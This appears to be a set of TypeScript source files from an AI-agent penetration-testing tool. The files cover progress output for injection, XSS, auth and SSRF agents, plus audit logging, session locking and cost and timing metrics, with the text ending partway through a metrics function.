import type { ExecutionContext, ResultData } from './types.js';
interface ToolCallInput {
url?: string;
element?: string;
key?: string;
fields?: unknown[];
text?: string;
action?: string;
description?: string;
command?: string;
todos?: Array<{
status: string;
content: string;
}>;
[key: string]: unknown;
}
interface ToolCall {
name: string;
input?: ToolCallInput;
}
/**
* Get agent prefix for parallel execution
*/
export function getAgentPrefix(description: string): string {
// Map agent names to their prefixes
const agentPrefixes: Record<string, string> = {
'injection-vuln': '[Injection]',
'xss-vuln': '[XSS]',
'auth-vuln': '[Auth]',
'authz-vuln': '[Authz]',
'ssrf-vuln': '[SSRF]',
'injection-exploit': '[Injection]',
'xss-exploit': '[XSS]',
'auth-exploit': '[Auth]',
'authz-exploit': '[Authz]',
'ssrf-exploit': '[SSRF]',
};
// First try to match by agent name directly
for (const [agentName, prefix] of Object.entries(agentPrefixes)) {
const agent = AGENTS[agentName as keyof typeof AGENTS];
if (agent && description.includes(agent.displayName)) {
return prefix;
}
}
// Fallback to partial matches for backwards compatibility
if (description.includes('injection')) return '[Injection]';
if (description.includes('xss')) return '[XSS]';
if (description.includes('authz')) return '[Authz]'; // Check authz before auth
if (description.includes('auth')) return '[Auth]';
if (description.includes('ssrf')) return '[SSRF]';
return '[Agent]';
}
/**
* Extract domain from URL for display
*/
function extractDomain(url: string): string {
try {
const urlObj = new URL(url);
return urlObj.hostname || url.slice(0, 30);
} catch {
return url.slice(0, 30);
}
}
/**
* Format playwright-cli commands into clean progress indicators
*/
function formatBrowserAction(command: string): string | null {
// Extract subcommand after optional session flag (e.g., "playwright-cli -s=session1 navigate https://example.com")
const match = command.match(/playwright-cli\s+(?:-s=\S+\s+)?(\S+)(?:\s+(.*))?/);
if (!match) return null;
const subcommand = match[1];
const args = match[2] || '';
switch (subcommand) {
case 'open':
case 'goto': {
const domain = args.trim() ? extractDomain(args.trim()) : '';
return domain ? `🌐 Navigating to ${domain}` : '🌐 Opening browser';
}
case 'go-back':
return '⬅️ Going back';
case 'go-forward':
return '➡️ Going forward';
case 'reload':
return '🔄 Reloading page';
case 'click':
case 'dblclick':
return `🖱️ Clicking ${(args || 'element').slice(0, 25)}`;
case 'hover':
return `👆 Hovering over ${(args || 'element').slice(0, 20)}`;
case 'type':
return `⌨️ Typing ${(args || 'text').slice(0, 20)}`;
case 'press':
case 'keydown':
case 'keyup':
return `⌨️ Pressing ${args || 'key'}`;
case 'fill':
return `📝 Filling ${(args || 'field').slice(0, 25)}`;
case 'select':
return '📋 Selecting dropdown option';
case 'check':
case 'uncheck':
return `☑️ ${subcommand === 'check' ? 'Checking' : 'Unchecking'} ${(args || 'element').slice(0, 20)}`;
case 'upload':
return '📁 Uploading file';
case 'drag':
return '🖱️ Dragging element';
case 'snapshot':
return '📸 Taking page snapshot';
case 'screenshot':
return '📸 Taking screenshot';
case 'eval':
case 'run-code':
return '🔍 Running JavaScript analysis';
case 'console':
return '📜 Checking console logs';
case 'network':
return '🌐 Analyzing network traffic';
case 'tab-list':
case 'tab-new':
case 'tab-close':
case 'tab-select':
return `🗂️ ${subcommand.replace('tab-', '')} browser tab`;
case 'dialog-accept':
return '💬 Accepting dialog';
case 'dialog-dismiss':
return '💬 Dismissing dialog';
case 'pdf':
return '📄 Saving page as PDF';
case 'resize':
return `🖥️ Resizing browser ${args || ''}`.trim();
default:
return `🌐 Browser: ${subcommand}`;
}
}
/**
* Summarize TodoWrite updates into clean progress indicators
*/
function summarizeTodoUpdate(input: ToolCallInput | undefined): string | null {
if (!input?.todos || !Array.isArray(input.todos)) {
return null;
}
const todos = input.todos;
const completed = todos.filter((t) => t.status === 'completed');
const inProgress = todos.filter((t) => t.status === 'in_progress');
// Show recently completed tasks
const recent = completed.at(-1);
if (recent) {
return `${recent.content}`;
}
// Show current in-progress task
const current = inProgress.at(0);
if (current) {
return `🔄 ${current.content}`;
}
return null;
}
/**
* Filter out JSON tool calls from content, with special handling for Task calls
*/
export function filterJsonToolCalls(content: string | null | undefined): string {
if (!content || typeof content !== 'string') {
return content || '';
}
const lines = content.split('\n');
const processedLines: string[] = [];
for (const line of lines) {
const trimmed = line.trim();
// Skip empty lines
if (trimmed === '') {
continue;
}
// Check if this is a JSON tool call
if (trimmed.startsWith('{"type":"tool_use"')) {
try {
const toolCall = JSON.parse(trimmed) as ToolCall;
// Special handling for Task tool calls
if (toolCall.name === 'Task') {
const description = toolCall.input?.description || 'analysis agent';
processedLines.push(`🚀 Launching ${description}`);
continue;
}
// Special handling for TodoWrite tool calls
if (toolCall.name === 'TodoWrite') {
const summary = summarizeTodoUpdate(toolCall.input);
if (summary) {
processedLines.push(summary);
}
continue;
}
// Special handling for browser tool calls (playwright-cli via Bash)
if (toolCall.name === 'Bash') {
const command = toolCall.input?.command || '';
if (command.includes('playwright-cli')) {
const browserAction = formatBrowserAction(command);
if (browserAction) {
processedLines.push(browserAction);
}
}
}
} catch {
// If JSON parsing fails, treat as regular text
processedLines.push(line);
}
} else {
// Keep non-JSON lines (assistant text)
processedLines.push(line);
}
}
return processedLines.join('\n');
}
export function detectExecutionContext(description: string): ExecutionContext {
const isParallelExecution = description.includes('vuln agent') || description.includes('exploit agent');
const useCleanOutput =
description.includes('Pre-recon agent') ||
description.includes('Recon agent') ||
description.includes('Executive Summary and Report Cleanup') ||
description.includes('vuln agent') ||
description.includes('exploit agent');
const agentType = extractAgentType(description);
const agentKey = description.toLowerCase().replace(/\s+/g, '-');
return { isParallelExecution, useCleanOutput, agentType, agentKey };
}
export function formatAssistantOutput(
cleanedContent: string,
context: ExecutionContext,
turnCount: number,
description: string,
): string[] {
if (!cleanedContent.trim()) {
return [];
}
const lines: string[] = [];
if (context.isParallelExecution) {
// Compact output for parallel agents with prefixes
const prefix = getAgentPrefix(description);
lines.push(`${prefix} ${cleanedContent}`);
} else {
// Full turn output for sequential agents
lines.push(`\n Turn ${turnCount} (${description}):`);
lines.push(` ${cleanedContent}`);
}
return lines;
}
export function formatResultOutput(data: ResultData, showFullResult: boolean): string[] {
const lines: string[] = [];
lines.push(`\n COMPLETED:`);
lines.push(` Duration: ${(data.duration_ms / 1000).toFixed(1)}s, Cost: $${data.cost.toFixed(4)}`);
if (data.subtype === 'error_max_turns') {
lines.push(` Stopped: Hit maximum turns limit`);
} else if (data.subtype === 'error_during_execution') {
lines.push(` Stopped: Execution error`);
}
if (data.permissionDenials > 0) {
lines.push(` ${data.permissionDenials} permission denials`);
}
if (showFullResult && data.result && typeof data.result === 'string') {
if (data.result.length > 1000) {
lines.push(` ${data.result.slice(0, 1000)}... [${data.result.length} total chars]`);
} else {
lines.push(` ${data.result}`);
}
}
return lines;
}
export function formatErrorOutput(
error: Error & { code?: string; status?: number },
context: ExecutionContext,
description: string,
duration: number,
sourceDir: string,
isRetryable: boolean,
): string[] {
const lines: string[] = [];
if (context.isParallelExecution) {
const prefix = getAgentPrefix(description);
lines.push(`${prefix} Failed (${formatDuration(duration)})`);
} else if (context.useCleanOutput) {
lines.push(`${context.agentType} failed (${formatDuration(duration)})`);
} else {
lines.push(` Claude Code failed: ${description} (${formatDuration(duration)})`);
}
lines.push(` Error Type: ${error.constructor.name}`);
lines.push(` Message: ${error.message}`);
lines.push(` Agent: ${description}`);
lines.push(` Working Directory: ${sourceDir}`);
lines.push(` Retryable: ${isRetryable ? 'Yes' : 'No'}`);
if (error.code) {
lines.push(` Error Code: ${error.code}`);
}
if (error.status) {
lines.push(` HTTP Status: ${error.status}`);
}
return lines;
}
export function formatCompletionMessage(
context: ExecutionContext,
description: string,
turnCount: number,
duration: number,
): string {
if (context.isParallelExecution) {
const prefix = getAgentPrefix(description);
return `${prefix} Complete (${turnCount} turns, ${formatDuration(duration)})`;
}
if (context.useCleanOutput) {
return `${context.agentType.charAt(0).toUpperCase() + context.agentType.slice(1)} complete! (${turnCount} turns, ${formatDuration(duration)})`;
}
return ` Claude Code completed: ${description} (${turnCount} turns) in ${formatDuration(duration)}`;
}
export function formatToolUseOutput(toolName: string, input: Record<string, unknown> | undefined): string[] {
const lines: string[] = [];
lines.push(`\n Using Tool: ${toolName}`);
if (input && Object.keys(input).length > 0) {
lines.push(` Input: ${JSON.stringify(input, null, 2)}`);
}
return lines;
}
export function formatToolResultOutput(displayContent: string): string[] {
const lines: string[] = [];
lines.push(` Tool Result:`);
if (displayContent) {
lines.push(` ${displayContent}`);
}
return lines;
}
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// Copyright (C) 2025 Keygraph, Inc.
//
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU Affero General Public License version 3
// as published by the Free Software Foundation.
// Null Object pattern for progress indicator - callers never check for null
import { ProgressIndicator } from '../progress-indicator.js';
import { extractAgentType } from '../utils/formatting.js';
export interface ProgressContext {
description: string;
useCleanOutput: boolean;
}
export interface ProgressManager {
start(): void;
stop(): void;
finish(message: string): void;
isActive(): boolean;
}
class RealProgressManager implements ProgressManager {
private indicator: ProgressIndicator;
private active: boolean = false;
constructor(message: string) {
this.indicator = new ProgressIndicator(message);
}
start(): void {
this.indicator.start();
this.active = true;
}
stop(): void {
this.indicator.stop();
this.active = false;
}
finish(message: string): void {
this.indicator.finish(message);
this.active = false;
}
isActive(): boolean {
return this.active;
}
}
/** Null Object implementation - all methods are safe no-ops */
class NullProgressManager implements ProgressManager {
start(): void {}
stop(): void {}
finish(_message: string): void {}
isActive(): boolean {
return false;
}
}
// Returns no-op when disabled
export function createProgressManager(context: ProgressContext, disableLoader: boolean): ProgressManager {
if (!context.useCleanOutput || disableLoader) {
return new NullProgressManager();
}
const agentType = extractAgentType(context.description);
return new RealProgressManager(`Running ${agentType}...`);
}
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// Copyright (C) 2025 Keygraph, Inc.
//
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU Affero General Public License version 3
// as published by the Free Software Foundation.
/**
* Get the actual model name being used.
* When using claude-code-router, the SDK reports its configured model (claude-sonnet)
* but the actual model is determined by ROUTER_DEFAULT env var.
*/
export function getActualModelName(sdkReportedModel?: string): string | undefined {
const routerBaseUrl = process.env.ANTHROPIC_BASE_URL;
const routerDefault = process.env.ROUTER_DEFAULT;
// If router mode is active and ROUTER_DEFAULT is set, use that
if (routerBaseUrl && routerDefault) {
// ROUTER_DEFAULT format: "provider,model" (e.g., "gemini,gemini-2.5-pro")
const parts = routerDefault.split(',');
if (parts.length >= 2) {
return parts.slice(1).join(','); // Handle model names with commas
}
}
// Fall back to SDK-reported model
return sdkReportedModel;
}
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// Copyright (C) 2025 Keygraph, Inc.
//
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU Affero General Public License version 3
// as published by the Free Software Foundation.
// Type definitions for Claude executor message processing pipeline
import type { SDKAssistantMessageError } from '@anthropic-ai/claude-agent-sdk';
export interface ExecutionContext {
isParallelExecution: boolean;
useCleanOutput: boolean;
agentType: string;
agentKey: string;
}
export interface AssistantResult {
content: string;
cleanedContent: string;
apiErrorDetected: boolean;
shouldThrow?: Error;
logData: {
turn: number;
content: string;
timestamp: string;
};
}
export interface ResultData {
result: string | null;
cost: number;
duration_ms: number;
subtype?: string;
stop_reason?: string | null;
permissionDenials: number;
}
export interface ToolUseData {
toolName: string;
parameters: Record<string, unknown>;
timestamp: string;
}
export interface ToolResultData {
content: unknown;
displayContent: string;
timestamp: string;
}
export interface ContentBlock {
type?: string;
text?: string;
}
export interface AssistantMessage {
type: 'assistant';
error?: SDKAssistantMessageError;
message: {
content: ContentBlock[] | string;
};
}
export interface ResultMessage {
type: 'result';
result?: string;
total_cost_usd?: number;
duration_ms?: number;
subtype?: string;
stop_reason?: string | null;
permission_denials?: unknown[];
}
export interface ToolUseMessage {
type: 'tool_use';
name: string;
input?: Record<string, unknown>;
}
export interface ToolResultMessage {
type: 'tool_result';
content?: unknown;
}
export interface ApiErrorDetection {
detected: boolean;
shouldThrow?: Error;
}
export interface SystemInitMessage {
type: 'system';
subtype: 'init';
model?: string;
permissionMode?: string;
}
export interface UserMessage {
type: 'user';
}
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// Copyright (C) 2025 Keygraph, Inc.
//
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU Affero General Public License version 3
// as published by the Free Software Foundation.
/**
* Audit Session - Main Facade
*
* Coordinates logger, metrics tracker, and concurrency control for comprehensive
* crash-safe audit logging.
*/
import { PentestError } from '../services/error-handling.js';
import { ErrorCode } from '../types/errors.js';
import type { AgentEndResult } from '../types/index.js';
import { SessionMutex } from '../utils/concurrency.js';
import { formatTimestamp } from '../utils/formatting.js';
import { AgentLogger } from './logger.js';
import { MetricsTracker } from './metrics-tracker.js';
import { initializeAuditStructure, type SessionMetadata } from './utils.js';
import { type AgentLogDetails, WorkflowLogger, type WorkflowSummary } from './workflow-logger.js';
// Global mutex instance
const sessionMutex = new SessionMutex();
/**
* AuditSession - Main audit system facade
*/
export class AuditSession {
private sessionMetadata: SessionMetadata;
private sessionId: string;
private metricsTracker: MetricsTracker;
private workflowLogger: WorkflowLogger;
private currentLogger: AgentLogger | null = null;
private currentAgentName: string | null = null;
private initialized: boolean = false;
constructor(sessionMetadata: SessionMetadata) {
this.sessionMetadata = sessionMetadata;
this.sessionId = sessionMetadata.id;
// Validate required fields
if (!this.sessionId) {
throw new PentestError(
'sessionMetadata.id is required',
'config',
false,
{ field: 'sessionMetadata.id' },
ErrorCode.CONFIG_VALIDATION_FAILED,
);
}
if (!this.sessionMetadata.webUrl) {
throw new PentestError(
'sessionMetadata.webUrl is required',
'config',
false,
{ field: 'sessionMetadata.webUrl' },
ErrorCode.CONFIG_VALIDATION_FAILED,
);
}
// Components
this.metricsTracker = new MetricsTracker(sessionMetadata);
this.workflowLogger = new WorkflowLogger(sessionMetadata);
}
/**
* Initialize audit session (creates directories, session.json)
* Idempotent and race-safe
*
* @param workflowId - Optional workflow ID for tracking original or resume workflows
*/
async initialize(workflowId?: string): Promise<void> {
if (this.initialized) {
return; // Already initialized
}
// Create directory structure
await initializeAuditStructure(this.sessionMetadata);
// Initialize metrics tracker (loads or creates session.json)
await this.metricsTracker.initialize(workflowId);
// Initialize workflow logger with actual Temporal workflow ID
await this.workflowLogger.initialize(workflowId);
this.initialized = true;
}
/**
* Ensure initialized (helper for lazy initialization)
*/
private async ensureInitialized(): Promise<void> {
if (!this.initialized) {
await this.initialize();
}
}
/**
* Start agent execution
*/
async startAgent(agentName: string, promptContent: string, attemptNumber: number = 1): Promise<void> {
await this.ensureInitialized();
// 1. Save prompt snapshot (only on first attempt)
if (attemptNumber === 1) {
await AgentLogger.savePrompt(this.sessionMetadata, agentName, promptContent);
}
// 2. Create and initialize the per-agent logger
this.currentAgentName = agentName;
this.currentLogger = new AgentLogger(this.sessionMetadata, agentName, attemptNumber);
await this.currentLogger.initialize();
// 3. Start metrics timer
this.metricsTracker.startAgent(agentName, attemptNumber);
// 4. Log start event to both agent log and workflow log
await this.currentLogger.logEvent('agent_start', {
agentName,
attemptNumber,
timestamp: formatTimestamp(),
});
await this.workflowLogger.logAgent(agentName, 'start', { attemptNumber });
}
/**
* Log event during agent execution
*/
async logEvent(eventType: string, eventData: unknown): Promise<void> {
if (!this.currentLogger) {
throw new PentestError(
'No active logger. Call startAgent() first.',
'validation',
false,
{},
ErrorCode.AGENT_EXECUTION_FAILED,
);
}
// Log to agent-specific log file (JSON format)
await this.currentLogger.logEvent(eventType, eventData);
// Also log to unified workflow log (human-readable format)
const data = eventData as Record<string, unknown>;
const agentName = this.currentAgentName || 'unknown';
switch (eventType) {
case 'tool_start':
await this.workflowLogger.logToolStart(agentName, String(data.toolName || ''), data.parameters);
break;
case 'llm_response':
await this.workflowLogger.logLlmResponse(agentName, Number(data.turn || 0), String(data.content || ''));
break;
// tool_end and error events are intentionally not logged to workflow log
// to reduce noise - the agent completion message captures the outcome
}
}
/**
* End agent execution (mutex-protected)
*/
async endAgent(agentName: string, result: AgentEndResult): Promise<void> {
// 1. Finalize agent log and close the stream
if (this.currentLogger) {
await this.currentLogger.logEvent('agent_end', {
agentName,
success: result.success,
duration_ms: result.duration_ms,
cost_usd: result.cost_usd,
timestamp: formatTimestamp(),
});
await this.currentLogger.close();
this.currentLogger = null;
}
// 2. Log completion to the unified workflow log
this.currentAgentName = null;
const agentLogDetails: AgentLogDetails = {
attemptNumber: result.attemptNumber,
duration_ms: result.duration_ms,
cost_usd: result.cost_usd,
success: result.success,
...(result.error !== undefined && { error: result.error }),
};
await this.workflowLogger.logAgent(agentName, 'end', agentLogDetails);
// 3. Acquire mutex before touching session.json
const unlock = await sessionMutex.lock(this.sessionId);
try {
// 4. Reload-then-write inside mutex to prevent lost updates during parallel phases
await this.metricsTracker.reload();
await this.metricsTracker.endAgent(agentName, result);
} finally {
unlock();
}
}
/**
* Update session status
*/
async updateSessionStatus(status: 'in-progress' | 'completed' | 'failed'): Promise<void> {
await this.ensureInitialized();
const unlock = await sessionMutex.lock(this.sessionId);
try {
await this.metricsTracker.reload();
await this.metricsTracker.updateSessionStatus(status);
} finally {
unlock();
}
}
/**
* Get current metrics (read-only)
*/
async getMetrics(): Promise<unknown> {
await this.ensureInitialized();
return this.metricsTracker.getMetrics();
}
/**
* Log phase start to unified workflow log
*/
async logPhaseStart(phase: string): Promise<void> {
await this.ensureInitialized();
await this.workflowLogger.logPhase(phase, 'start');
}
/**
* Log phase completion to unified workflow log
*/
async logPhaseComplete(phase: string): Promise<void> {
await this.ensureInitialized();
await this.workflowLogger.logPhase(phase, 'complete');
}
/**
* Log workflow completion to unified workflow log
*/
async logWorkflowComplete(summary: WorkflowSummary): Promise<void> {
await this.ensureInitialized();
await this.workflowLogger.logWorkflowComplete(summary);
}
/**
* Add a resume attempt to the session
* Call this when a workflow is resuming from an existing workspace
*
* @param workflowId - The new workflow ID for this resume attempt
* @param terminatedWorkflows - IDs of workflows that were terminated
* @param checkpointHash - Git checkpoint hash that was restored
*/
async addResumeAttempt(workflowId: string, terminatedWorkflows: string[], checkpointHash?: string): Promise<void> {
await this.ensureInitialized();
const unlock = await sessionMutex.lock(this.sessionId);
try {
await this.metricsTracker.reload();
await this.metricsTracker.addResumeAttempt(workflowId, terminatedWorkflows, checkpointHash);
} finally {
unlock();
}
}
/**
* Log resume header to workflow.log
* Call this when a workflow is resuming to add a visual separator
*/
async logResumeHeader(resumeInfo: {
previousWorkflowId: string;
newWorkflowId: string;
checkpointHash: string;
completedAgents: string[];
}): Promise<void> {
await this.ensureInitialized();
await this.workflowLogger.logResumeHeader(resumeInfo);
}
}
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// Copyright (C) 2025 Keygraph, Inc.
//
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU Affero General Public License version 3
// as published by the Free Software Foundation.
/**
* Unified Audit & Metrics System
*
* Public API for the audit system. Provides crash-safe, append-only logging
* and comprehensive metrics tracking for Shannon penetration testing sessions.
*
* IMPORTANT: Session objects must have an 'id' field (NOT 'sessionId')
* Example: { id: "uuid", webUrl: "...", repoPath: "..." }
*
* @module audit
*/
export { AuditSession } from './audit-session.js';
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// Copyright (C) 2025 Keygraph, Inc.
//
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU Affero General Public License version 3
// as published by the Free Software Foundation.
/**
* LogStream - Stream composition utility for append-only logging
*
* Encapsulates the common stream management pattern used by AgentLogger
* and WorkflowLogger: opening streams in append mode, handling backpressure,
* and proper cleanup.
*/
import fs from 'node:fs';
import path from 'node:path';
import { ensureDirectory } from '../utils/file-io.js';
/**
* LogStream - Manages a single append-only log file stream
*/
export class LogStream {
private readonly filePath: string;
private stream: fs.WriteStream | null = null;
private _isOpen: boolean = false;
constructor(filePath: string) {
this.filePath = filePath;
}
/**
* Open the stream for writing (creates parent directories, opens in append mode)
*/
async open(): Promise<void> {
if (this._isOpen) {
return;
}
// Ensure parent directory exists
await ensureDirectory(path.dirname(this.filePath));
// Create write stream in append mode
this.stream = fs.createWriteStream(this.filePath, {
flags: 'a',
encoding: 'utf8',
autoClose: true,
});
// Handle stream errors to prevent crashes (log and mark closed)
this.stream.on('error', (err) => {
console.error(`LogStream error for ${this.filePath}:`, err.message);
this._isOpen = false;
});
this._isOpen = true;
}
/**
* Write text to the stream with backpressure handling
*/
async write(text: string): Promise<void> {
return new Promise((resolve, reject) => {
if (!this._isOpen || !this.stream) {
reject(new Error('LogStream not open'));
return;
}
const stream = this.stream;
let drainHandler: (() => void) | null = null;
const cleanup = () => {
if (drainHandler) {
stream.removeListener('drain', drainHandler);
drainHandler = null;
}
};
const needsDrain = !stream.write(text, 'utf8', (error) => {
cleanup();
if (error) {
reject(error);
} else if (!needsDrain) {
resolve();
}
});
if (needsDrain) {
drainHandler = () => {
cleanup();
resolve();
};
stream.once('drain', drainHandler);
}
});
}
/**
* Close the stream (flush and close)
*/
async close(): Promise<void> {
if (!this._isOpen || !this.stream) {
return;
}
return new Promise((resolve) => {
this.stream?.end(() => {
this._isOpen = false;
this.stream = null;
resolve();
});
});
}
/**
* Check if the stream is currently open
*/
get isOpen(): boolean {
return this._isOpen;
}
/**
* Get the file path this stream writes to
*/
get path(): string {
return this.filePath;
}
}
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// Copyright (C) 2025 Keygraph, Inc.
//
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU Affero General Public License version 3
// as published by the Free Software Foundation.
/**
* Append-Only Agent Logger
*
* Provides crash-safe, append-only logging for agent execution.
* Uses LogStream for stream management with backpressure handling.
*/
import { atomicWrite } from '../utils/file-io.js';
import { formatTimestamp } from '../utils/formatting.js';
import { LogStream } from './log-stream.js';
import { generateLogPath, generatePromptPath, type SessionMetadata } from './utils.js';
interface LogEvent {
type: string;
timestamp: string;
data: unknown;
}
/**
* AgentLogger - Manages append-only logging for a single agent execution
*/
export class AgentLogger {
private readonly sessionMetadata: SessionMetadata;
private readonly agentName: string;
private readonly attemptNumber: number;
private readonly timestamp: number;
private readonly logStream: LogStream;
constructor(sessionMetadata: SessionMetadata, agentName: string, attemptNumber: number) {
this.sessionMetadata = sessionMetadata;
this.agentName = agentName;
this.attemptNumber = attemptNumber;
this.timestamp = Date.now();
const logPath = generateLogPath(sessionMetadata, agentName, this.timestamp, attemptNumber);
this.logStream = new LogStream(logPath);
}
/**
* Initialize the log stream (creates file and opens stream)
*/
async initialize(): Promise<void> {
if (this.logStream.isOpen) {
return; // Already initialized
}
await this.logStream.open();
// Write header
await this.writeHeader();
}
/**
* Write header to log file
*/
private async writeHeader(): Promise<void> {
const header = [
`========================================`,
`Agent: ${this.agentName}`,
`Attempt: ${this.attemptNumber}`,
`Started: ${formatTimestamp(this.timestamp)}`,
`Session: ${this.sessionMetadata.id}`,
`Web URL: ${this.sessionMetadata.webUrl}`,
`========================================\n`,
].join('\n');
return this.logStream.write(header);
}
/**
* Log an event (tool_start, tool_end, llm_response, etc.)
* Events are logged as JSON for parseability
*/
async logEvent(eventType: string, eventData: unknown): Promise<void> {
const event: LogEvent = {
type: eventType,
timestamp: formatTimestamp(),
data: eventData,
};
const eventLine = `${JSON.stringify(event)}\n`;
return this.logStream.write(eventLine);
}
/**
* Close the log stream
*/
async close(): Promise<void> {
return this.logStream.close();
}
/**
* Save prompt snapshot to prompts directory
* Static method - doesn't require logger instance
*/
static async savePrompt(sessionMetadata: SessionMetadata, agentName: string, promptContent: string): Promise<void> {
const promptPath = generatePromptPath(sessionMetadata, agentName);
// Create header with metadata
const header = [
`# Prompt Snapshot: ${agentName}`,
``,
`**Session:** ${sessionMetadata.id}`,
`**Web URL:** ${sessionMetadata.webUrl}`,
`**Saved:** ${formatTimestamp()}`,
``,
`---`,
``,
].join('\n');
const fullContent = header + promptContent;
// Use atomic write for safety
await atomicWrite(promptPath, fullContent);
}
}
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// Copyright (C) 2025 Keygraph, Inc.
//
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU Affero General Public License version 3
// as published by the Free Software Foundation.
/**
* Metrics Tracker
*
* Manages session.json with comprehensive timing, cost, and validation metrics.
* Tracks attempt-level data for complete forensic trail.
*/
import { PentestError } from '../services/error-handling.js';
import { AGENT_PHASE_MAP, type PhaseName } from '../session-manager.js';
import { ErrorCode } from '../types/errors.js';
import type { AgentEndResult, AgentName } from '../types/index.js';
import { atomicWrite, fileExists, readJson } from '../utils/file-io.js';
import { calculatePercentage, formatTimestamp } from '../utils/formatting.js';
import { generateSessionJsonPath, type SessionMetadata } from './utils.js';
interface AttemptData {
attempt_number: number;
duration_ms: number;
cost_usd: number;
success: boolean;
timestamp: string;
model?: string | undefined;
error?: string | undefined;
}
interface AgentAuditMetrics {
status: 'in-progress' | 'success' | 'failed';
attempts: AttemptData[];
final_duration_ms: number;
total_cost_usd: number;
model?: string | undefined;
checkpoint?: string | undefined;
}
interface PhaseMetrics {
duration_ms: number;
duration_percentage: number;
cost_usd: number;
agent_count: number;
}
export interface ResumeAttempt {
workflowId: string;
timestamp: string;
terminatedPrevious?: string;
resumedFromCheckpoint?: string;
}
interface SessionData {
session: {
id: string;
webUrl: string;
repoPath?: string;
status: 'in-progress' | 'completed' | 'failed';
createdAt: string;
completedAt?: string;
originalWorkflowId?: string; // First workflow that created this workspace
resumeAttempts?: ResumeAttempt[]; // Track all resume attempts
};
metrics: {
total_duration_ms: number;
total_cost_usd: number;
phases: Record<string, PhaseMetrics>;
agents: Record<string, AgentAuditMetrics>;
};
}
interface ActiveTimer {
startTime: number;
attemptNumber: number;
}
/**
* MetricsTracker - Manages metrics for a session
*/
export class MetricsTracker {
private sessionMetadata: SessionMetadata;
private sessionJsonPath: string;
private data: SessionData | null = null;
private activeTimers: Map<string, ActiveTimer> = new Map();
constructor(sessionMetadata: SessionMetadata) {
this.sessionMetadata = sessionMetadata;
this.sessionJsonPath = generateSessionJsonPath(sessionMetadata);
}
/**
* Initialize session.json (idempotent)
*
* @param workflowId - Optional workflow ID to set as originalWorkflowId for new sessions
*/
async initialize(workflowId?: string): Promise<void> {
// Check if session.json already exists
const exists = await fileExists(this.sessionJsonPath);
if (exists) {
// Load existing data
this.data = await readJson<SessionData>(this.sessionJsonPath);
} else {
// Create new session.json
this.data = this.createInitialData(workflowId);
await this.save();
}
}
/**
* Create initial session.json structure
*
* @param workflowId - Optional workflow ID to set as originalWorkflowId
*/
private createInitialData(workflowId?: string): SessionData {
const sessionData: SessionData = {
session: {
id: this.sessionMetadata.id,
webUrl: this.sessionMetadata.webUrl,
status: 'in-progress',
createdAt: (this.sessionMetadata as { createdAt?: string }).createdAt || formatTimestamp(),
resumeAttempts: [],
},
metrics: {
total_duration_ms: 0,
total_cost_usd: 0,
phases: {}, // Phase-level aggregations
agents: {}, // Agent-level metrics
},
};
// Set originalWorkflowId if provided (for new workspaces)
if (workflowId) {
sessionData.session.originalWorkflowId = workflowId;
}
// Only add repoPath if it exists
if (this.sessionMetadata.repoPath) {
sessionData.session.repoPath = this.sessionMetadata.repoPath;
}
return sessionData;
}
/**
* Start tracking an agent execution
*/
startAgent(agentName: string, attemptNumber: number): void {
this.activeTimers.set(agentName, {
startTime: Date.now(),
attemptNumber,
});
}
/**
* End agent execution and update metrics
*/
async endAgent(agentName: string, result: AgentEndResult): Promise<void> {
if (!this.data) {
throw new PentestError(
'MetricsTracker not initialized',
'validation',
false,
{},
ErrorCode.AGENT_EXECUTION_FAILED,
);
}
// 1. Initialize agent metrics if first time seeing this agent
const existingAgent = this.data.metrics.agents[agentName];
const agent = existingAgent ?? {
status: 'in-progress' as const,
attempts: [],
final_duration_ms: 0,
total_cost_usd: 0,
};
this.data.metrics.agents[agentName] = agent;
// 2. Build attempt record with optional model/error fields
const attempt: AttemptData = {
attempt_number: result.attemptNumber,
duration_ms: result.duration_ms,
cost_usd: result.cost_usd,
success: result.success,
timestamp: formatTimestamp(),
};
if (result.model) {
attempt.model = result.model;
}
if (result.error) {
attempt.error = result.error;
}
// 3. Append attempt to history
agent.attempts.push(attempt);
// 4. Recalculate total cost across all attempts (includes failures)
agent.total_cost_usd = agent.attempts.reduce((sum, a) => sum + a.cost_usd, 0);
// 5. Update agent status based on outcome
if (result.success) {
agent.status = 'success';
agent.final_duration_ms = result.duration_ms;
// 6. Attach model and checkpoint metadata on success
if (result.model) {
agent.model = result.model;
}
if (result.checkpoint) {
agent.checkpoint = result.checkpoint;
}
} else {
if (result.isFinalAttempt) {
agent.status = 'failed';
}
}
// 7. Clear active timer
this.activeTimers.delete(agentName);
// 8. Recalculate phase and session-level aggregations
this.recalculateAggregations();
// 9. Persist to session.json
await this.save();
}
/**
* Update session status
*/
async updateSessionStatus(status: 'in-progress' | 'completed' | 'failed'): Promise<void> {
if (!this.data) return;
this.data.session.status = status;
if (status === 'completed' || status === 'failed') {
this.data.session.completedAt = formatTimestamp();
}
await this.save();
}
/**
* Add a resume attempt to the session
*
* @param workflowId - The new workflow ID for this resume attempt
* @param terminatedWorkflows - IDs of workflows that were terminated
* @param checkpointHash - Git checkpoint hash that was restored
*/
async addResumeAttempt(workflowId: string, terminatedWorkflows: string[], checkpointHash?: string): Promise<void> {
if (!this.data) {
throw new PentestError(
'MetricsTracker not initialized',
'validation',
false,
{},
ErrorCode.AGENT_EXECUTION_FAILED,
);
}
// Ensure originalWorkflowId is set (backfill if missing from old sessions)
if (!this.data.session.originalWorkflowId) {
this.data.session.originalWorkflowId = this.data.session.id;
}
// Ensure resumeAttempts array exists
if (!this.data.session.resumeAttempts) {
this.data.session.resumeAttempts = [];
}
// Add new resume attempt
const resumeAttempt: ResumeAttempt = {
workflowId,
timestamp: formatTimestamp(),
};
if (terminatedWorkflows.length > 0) {
resumeAttempt.terminatedPrevious = terminatedWorkflows.join(',');
}
if (checkpointHash) {
resumeAttempt.resumedFromCheckpoint = checkpointHash;
}
this.data.session.resumeAttempts.push(resumeAttempt);
await this.save();
}
/**
* Recalculate aggregations (total duration, total cost, phases)
*/
private recalculateAggregations(): void {
if (!this.data) return;
const agents = this.data.metrics.agents;
// Only count successful agents
const successfulAgents = Object.entries(agents).filter(([, data]) => data.status === 'success');
